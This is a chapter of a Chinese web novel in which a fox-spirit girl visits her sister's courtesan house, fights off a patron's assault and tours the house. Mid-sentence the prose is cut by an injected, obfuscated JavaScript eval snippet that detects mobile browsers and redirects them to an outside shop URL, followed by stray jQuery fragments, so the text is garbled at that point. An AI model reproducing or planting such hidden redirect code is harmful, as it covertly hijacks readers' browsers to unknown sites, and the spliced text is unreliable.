白了了见着那人牵着马缓步离去。
奇怪,那天晚上,她不是穿着绸布吗?怎么今日又是麻布了?
她也顾不得许多,几乎是快步朝白月楼跑去。
她几乎是当场愣在白月楼前。
哇!怎么四姐姐也这么有钱!
咦?那三姐姐怎么不来找四姐姐要钱?
白了了看着一堆男人往带着诡异的笑往里面走进去,立时便有许多漂亮女人迎上来,男男女女搂着,笑声旖旎地进去了。
白月楼前点了许许多多彩色的灯,映得每个人的脸上都是容光焕发。
白了了不知为何,下意识地躲到没人的地方。
四姐姐这里,也是月老庙吗?
她几乎是避开人群,绕到白月楼后面,又迷迷糊糊随便推开一扇门进去。
四姐姐一定就在附近!咦?四姐姐身上到底为什么那么香?
但白了了的运气有些差了。
她方推门进去,便见一个肥头大耳的男的在大吵大闹。
“老子使了那么多钱!凭什么不让我见月姑娘!今天要是不把月姑娘叫出来!老子就把这里砸了!”那人狠狠啐了一口,“我呸!做了婊子还要立贞节牌坊!”
白了了哪里见过这正阵仗?转头便要逃跑。
那人却是个眼疾手快的,一把便把白了了抓住。
“哟,这小娘子倒是和月姑娘有几分相似!虽不比月姑娘花容月貌……”他又油又黑的手已经轻抚上白了了雪白的脸庞。
白了了恶心得不行,直拿脚踹他。
但那人肥肉满身,也是个皮实的,根本不在意这点小痛,拖着白了了便进屋去了。
白了了几乎是被他一把甩在床上的。
那男子粗鲁地想要扒开她的衣服,白了了也顾不得许多了,用尽全力向他下身踢去。
他当即痛得倒地,白了了气得不行,站起来又在他脸上狂踩。
他的脸当即血肉模糊,白了了还不解气,连续出击,那人连连求饶她也没少使半分力。
脏东西!敢碰狐狸奶奶,找死!
白月月循声赶来的时候,便是见着这一幕,一个衣摆带血的白衣少女,和一个躺在地上浑身是血的黑壮汉子。
她轻轻扒住门框,吞吐几下后,才快步进屋来。
她一眼认出白了了,却没有相认。
只是一把推开白了了,蹲下身去将那人扶起来,“哎哟,刘军爷,这是怎么了?”她略微抬头,故作惊讶,“哟,这位是?”
这刘军爷本想好一顿发作,见她如此发问,当即有些害怕。
这小娘子若不是这白月楼中人,若是误入此地的良家女,他可便被拿住把柄了。
这月姑娘迎来送往全是达官贵人,若是嘴巴上有个不小心,他岂不是要吃大亏?
他恶狠狠地瞪了一眼那女子,咬着牙道:“我醉了,还当她是月姑娘呢。”
白月月低头冷笑,她自是知道他的花花心肠。
无耻之尤!她心中暗骂,脸上还是挂着温和的笑。
“刘军爷,既是误会,那便请吧,这位姑娘,我寻个人送她回家吧?”
刘军爷见她有意将事情捂下,也顺着台阶下了,“是是,都是误会,今日我也没了兴致了,劳烦月姑娘了。”
姐妹二人见着那男子一瘸一拐消失在门外,这才相视一笑,四手拉在一处。
“好了了,吓坏了吧?”白月月心疼地替妹妹拢好衣服,顺了顺她的发丝,见她喜笑颜开,这才放下心来。
“四姐姐,你好香啊!”白了了围着白月月转了几圈。
白月月不禁笑起来,“是啊,你姐姐我做这种生意,可不得香气诱人?”
白了了本还闭着眼睛转着嗅着,当即睁开眼睛,好奇地问:“四姐姐,什么是生意?这种生意是什么?”
白月月伸手挽住妹妹的手,“我带你四处瞧瞧,你便都知道了。”
白了了被她引着往外去,忽然又想起白花花的事情。
“四姐姐,这些年,你可见过二姐姐?”
白月月笑意盈盈望向妹妹,手中的扇子在她脸上轻轻拍了一下,“我这里向来是消息最灵通的,你当你在逍遥王府大闹一场,我不知道啊?”
白了了张大嘴巴,当即走不动道了。
白月月笑着摇着团扇,“那日东安郡王来寻我吃酒,便当作奇闻从头到尾讲了一遍,这逍遥王真是好福气,如此一闹,倒入了太子的眼,拿下了粮道的差事,二姐姐今后要愈发奢靡了。”
“可是二姐姐在王府里,又要跳舞,又要斗那些姨娘,又要陪王爷,一日十二个时辰,少有安歇的,有什么福气好说?”白了了急得几乎要跳起来。
白月月伸手将白了了肩头揽住,“傻妹妹,这人间呢,各人有各人的因缘,再怎么说,二姐姐的红线已经与那逍遥王绑在一起了,你我,又能如何呢?”
“狐不管!狐就要带二姐姐走!”她拉起白月月的手,撒起娇来,“四姐姐,你帮帮狐!”
白月月见她如此模样,愈发怜爱起来,“好了了,如今你这是在人间,要说‘我’,可不能叫人发现你是狐狸呢!这凡间女子,是最讨厌狐狸精的。这些年王府里的日子是实在舒坦的,二姐姐吃惯了山珍海味,穿惯了绫罗绸缎,你叫她到别处去,哪里又能比王府更好呢?”
白了了眼神从朦胧到清澈,“狐们去找大姐姐!叫她解了红线,然后送二姐姐去宫里,三姐姐说了,宫里什么都有。”
白月月引着白了了拐过回廊,白了了当即看到一处灯火通明处,许许多多身姿曼妙的女子穿着薄纱在翩翩起舞,丝竹管乐声叫人听着身心畅快了不少。
“傻妹妹,你可知那皇宫是什么所在?你如今尚且受不了王府的诸事,去了宫里,只怕是有过之而无不及。”
白了了低下头。
这也不是,那也不是,狐到底该怎么办?
二人靠着雕着花草的栏杆看着那些女子起舞。
“姐姐,为什么她们讨厌狐狸精?展获说狐们毛茸茸的,王婶婶也喜欢狐…….喜欢我。”白了了两根食指相互追
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371878|199949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逐着绕圈。
白月月掩面轻笑,又对着白了了转了几圈,身上粉色的披帛随着她的身姿飞起来,如同粉色光环罩住她,又衬得她面如桃花。
“怎么样了了?姐姐美不美?”她堪堪停住,衣摆却还在飘动着。
白了了不由自主地咬住食指,“美!美!四姐姐!你好美好美!比狐和三姐姐去偷东西那家的人还美!”
白月月用扇子轻敲她的眉心,又拉着她的手往东边去了。
东边十分安静,并没有什么乐声,若是不知情的人进来,还以为到了另一处地方。
里面是许许多多穿着素衣的貌美女子,或蓝、或白、或青,看着十分清心寡欲,低着头潜心作画的样子,更显得心无旁骛。
这些人围着一个香炉团坐着,香炉里焚的是达官显贵爱用的龙纹香。
白月月指着墙上挂着一副画,笑道:“这便是你姐姐我的佳作了。”
白了了并不懂赏画,只是点点了头,见画上巍巍青山隐入云端,还未来得及细看山间二人模样,便被白月月带着朝南去了。
南边倒是有人抚琴。
琴音不知道从哪里传出来的,但眼前是许多眼神明亮的女子两两对坐着,白皙纤长的指尖夹着黑黑白白的东西,轻轻放在面前画着横横竖竖纹路的方形盘子上。
白了了于此是全然不懂了,展获家也不曾有这种东西。
白月月带着她循声往西去了,“方才看了棋和画,现下去看看琴吧。”
二人透过屏风,望见里面一个女子端坐着,手不停按着一条长长木头上的几根银丝。
“姐姐,这琴、棋、画是什么?”
白月月又携白了了到最初的栏杆处,“这京城里的显贵呢,最喜欢附庸风雅,最喜欢论什么琴棋书画,若是有个什么由头,让他们能一边看美人,一边论风雅,他们岂有不愿意的?”
“可是狐……我们看了这一圈,也并没有人读书,还有这唱歌跳舞的,又是什么说法?”
“这白月楼的姑娘啊,进来第一件事便是读书!她们个个都满腹诗书的,见了那些胸无点墨的草包啊,跟看耍猴似的。这唱歌跳舞呢,也是姑娘们的消遣罢了,倒没什么说法。”白月月挥着扇子替妹妹扇着。
“姐姐,你去哪里找的这许许多多的女子替你做事的?”白了了拿过姐姐手上的扇子,蒙在脸上玩起来。
“你三姐姐啊,四处救人,这个世道呢,男子如何都能活下去,这些女子却十分不易,便和我商量了,建了这白月楼,她们从前缺吃少穿,如今吃饱穿暖,又能读书识字,迎来送往都是大人物,又只需糊弄几下,每天乐得不行呢。”
白了了将头从团扇后探出,“那姐姐你呢?”
白月月大笑起来,“我啊,可是这白月楼屹立不倒的花魁呢!这许许多多女子,都没我美!日日众星捧月,我也高兴!”
白了了同姐姐一起笑起来。
渐渐地她的笑容消失了,还是试探着问道:
“四姐姐,那你能帮我想想办法救二姐姐吗?”